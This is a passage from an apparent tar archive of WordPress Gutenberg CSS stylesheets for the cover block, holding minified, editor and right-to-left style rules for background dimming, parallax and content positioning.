0ustar00.wp-block-cover,.wp-block-cover-image{position:relative;background-size:cover;background-position:50%;min-height:430px;width:100%;display:flex;justify-content:center;align-items:center;padding:1em;box-sizing:border-box}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax{background-attachment:fixed}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]),.wp-block-cover .has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover-image .has-background-dim.has-background-gradient,.wp-block-cover .has-background-dim.has-background-gradient{background-color:transparent}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{content:"";background-color:inherit}.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim:not(.has-background-gradient):before,.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background{position:absolute;top:0;left:0;bottom:0;right:0;z-index:1;opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image .block-library-cover__padding-visualizer,.wp-block-cover .block-library-cover__padding-visualizer{z-index:2}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image:after,.wp-block-cover:after{display:block;content:"";font-size:0;min-height:inherit}@supports (position:sticky){.wp-block-cover-image:after,.wp-block-cover:after{content:none}}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover-image .wp-block-cover__inner-container,.wp-block-cover .wp-block-cover__inner-container{width:100%;z-index:1;color:#fff}.wp-block-cover-image.is-light .wp-block-cover__inner-container,.wp-block-cover.is-light .wp-block-cover__inner-container{color:#000}.wp-block-cover-image h1:not(.has-text-color),.wp-block-cover-image h2:not(.has-text-color),.wp-block-cover-image h3:not(.has-text-color),.wp-block-cover-image h4:not(.has-text-color),.wp-block-cover-image h5:not(.has-text-color),.wp-block-cover-image h6:not(.has-text-color),.wp-block-cover-image p:not(.has-text-color),.wp-block-cover h1:not(.has-text-color),.wp-block-cover h2:not(.has-text-color),.wp-block-cover h3:not(.has-text-color),.wp-block-cover h4:not(.has-text-color),.wp-block-cover h5:not(.has-text-color),.wp-block-cover h6:not(.has-text-color),.wp-block-cover p:not(.has-text-color){color:inherit}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover-image img.wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background,.wp-block-cover img.wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background{position:absolute;top:0;left:0;right:0;bottom:0;margin:0;padding:0;width:100%;height:100%;max-width:none;max-height:none;-o-object-fit:cover;object-fit:cover;outline:none;border:none;box-shadow:none}.wp-block-cover__image-background,.wp-block-cover__video-background{z-index:0}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-left:0;text-align:left}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-right:0;text-align:right}.wp-block-cover-image .wp-block-cover-image-text,.wp-block-cover .wp-block-cover-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;z-index:1;margin-bottom:0;max-width:840px;padding:.44em;text-align:center}blocks/cover/editor.css000064400000006360147177035020011152 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-cover { /* Extra specificity needed because the reset.css applied in the editor context is overriding this rule. */ } .editor-styles-wrapper .wp-block-cover { box-sizing: border-box; } .wp-block-cover.is-placeholder { min-height: auto !important; padding: 0 !important; } .wp-block-cover.is-placeholder .block-library-cover__resize-container { display: none; } .wp-block-cover.is-placeholder .components-placeholder.is-large { min-height: 240px; justify-content: flex-start; z-index: 1; } .wp-block-cover.is-placeholder .components-placeholder.is-large + .block-library-cover__resize-container { min-height: 240px; display: block; } .wp-block-cover.components-placeholder h2 { color: inherit; } .wp-block-cover.is-transient::before { background-color: #fff; opacity: 0.3; } .wp-block-cover .components-spinner { position: absolute; z-index: 1; top: 50%; left: 50%; transform: translate(-50%, -50%); margin: 0; } .wp-block-cover .block-editor-block-list__layout { width: 100%; } .wp-block-cover .wp-block-cover__inner-container { text-align: left; margin-left: 0; margin-right: 0; } .wp-block-cover .wp-block-cover__placeholder-background-options { width: 100%; } [data-align=left] > .wp-block-cover, [data-align=right] > .wp-block-cover { max-width: 420px; width: 100%; } .block-library-cover__reset-button { margin-left: auto; } .block-library-cover__resize-container { position: absolute !important; top: 0; left: 0; right: 0; bottom: 0; min-height: 50px; } .block-library-cover__resize-container:not(.is-resizing) { height: auto !important; } .wp-block-cover > .components-drop-zone .components-drop-zone__content { opacity: 0.8 !important; } .block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover { background-attachment: scroll; }blocks/cover/style-rtl.css000064400000045617147177035020011633 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-cover-image, .wp-block-cover { position: relative; background-size: cover; background-position: center center; min-height: 430px; width: 100%; display: flex; justify-content: center; align-items: center; padding: 1em; box-sizing: border-box; /** * Set a default background color for has-background-dim _unless_ it includes another * background-color class (e.g. has-green-background-color). The presence of another * background-color class implies that another style will provide the background color * for the overlay. * * See: * - Issue with background color specificity: https://github.com/WordPress/gutenberg/issues/26545 * - Issue with alternative fix: https://github.com/WordPress/gutenberg/issues/26545 */ } .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax { background-attachment: fixed; } @supports (-webkit-touch-callout: inherit) { .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax { background-attachment: scroll; } } @media (prefers-reduced-motion: reduce) { .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax { background-attachment: scroll; } } .wp-block-cover-image.is-repeated, .wp-block-cover.is-repeated { background-repeat: repeat; background-size: auto; } .wp-block-cover-image.has-background-dim:not([class*=-background-color]), .wp-block-cover-image .has-background-dim:not([class*=-background-color]), .wp-block-cover.has-background-dim:not([class*=-background-color]), .wp-block-cover .has-background-dim:not([class*=-background-color]) { background-color: #000; } .wp-block-cover-image .has-background-dim.has-background-gradient, .wp-block-cover .has-background-dim.has-background-gradient { background-color: transparent; } .wp-block-cover-image.has-background-dim::before, .wp-block-cover.has-background-dim::before { content: ""; background-color: inherit; } .wp-block-cover-image.has-background-dim:not(.has-background-gradient)::before, .wp-block-cover-image .wp-block-cover__background, .wp-block-cover-image .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim:not(.has-background-gradient)::before, .wp-block-cover .wp-block-cover__background, .wp-block-cover .wp-block-cover__gradient-background { position: absolute; top: 0; right: 0; bottom: 0; left: 0; z-index: 1; opacity: 0.5; } .wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background { opacity: 0.1; } .wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background { opacity: 0.2; } .wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background { opacity: 0.3; } .wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background { opacity: 0.4; } .wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background { opacity: 0.5; } .wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background { opacity: 0.6; } .wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background { opacity: 0.7; } .wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background { opacity: 0.8; } .wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background { opacity: 0.9; } .wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background { opacity: 1; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0 { opacity: 0; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10 { opacity: 0.1; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20 { opacity: 0.2; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30 { opacity: 0.3; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40 { opacity: 0.4; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50 { opacity: 0.5; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60 { opacity: 0.6; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70 { opacity: 0.7; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80 { opacity: 0.8; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90 { opacity: 0.9; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100 { opacity: 1; } .wp-block-cover-image .block-library-cover__padding-visualizer, .wp-block-cover .block-library-cover__padding-visualizer { z-index: 2; } .wp-block-cover-image.alignleft, .wp-block-cover-image.alignright, .wp-block-cover.alignleft, .wp-block-cover.alignright { max-width: 420px; width: 100%; } .wp-block-cover-image::after, .wp-block-cover::after { display: block; content: ""; font-size: 0; min-height: inherit; } @supports (position: sticky) { .wp-block-cover-image::after, .wp-block-cover::after { content: none; } } .wp-block-cover-image.aligncenter, .wp-block-cover-image.alignleft, .wp-block-cover-image.alignright, .wp-block-cover.aligncenter, .wp-block-cover.alignleft, .wp-block-cover.alignright { display: flex; } .wp-block-cover-image .wp-block-cover__inner-container, .wp-block-cover .wp-block-cover__inner-container { width: 100%; z-index: 1; color: #fff; } .wp-block-cover-image.is-light .wp-block-cover__inner-container, .wp-block-cover.is-light .wp-block-cover__inner-container { color: #000; } .wp-block-cover-image p:not(.has-text-color), .wp-block-cover-image h1:not(.has-text-color), .wp-block-cover-image h2:not(.has-text-color), .wp-block-cover-image h3:not(.has-text-color), .wp-block-cover-image h4:not(.has-text-color), .wp-block-cover-image h5:not(.has-text-color), .wp-block-cover-image h6:not(.has-text-color), .wp-block-cover p:not(.has-text-color), .wp-block-cover h1:not(.has-text-color), .wp-block-cover h2:not(.has-text-color), .wp-block-cover h3:not(.has-text-color), .wp-block-cover h4:not(.has-text-color), .wp-block-cover h5:not(.has-text-color), .wp-block-cover h6:not(.has-text-color) { color: inherit; } .wp-block-cover-image.is-position-top-left, .wp-block-cover.is-position-top-left { align-items: flex-start; justify-content: flex-start; } .wp-block-cover-image.is-position-top-center, .wp-block-cover.is-position-top-center { align-items: flex-start; justify-content: center; } .wp-block-cover-image.is-position-top-right, .wp-block-cover.is-position-top-right { align-items: flex-start; justify-content: flex-end; } .wp-block-cover-image.is-position-center-left, .wp-block-cover.is-position-center-left { align-items: center; justify-content: flex-start; } .wp-block-cover-image.is-position-center-center, .wp-block-cover.is-position-center-center { align-items: center; justify-content: center; } .wp-block-cover-image.is-position-center-right, 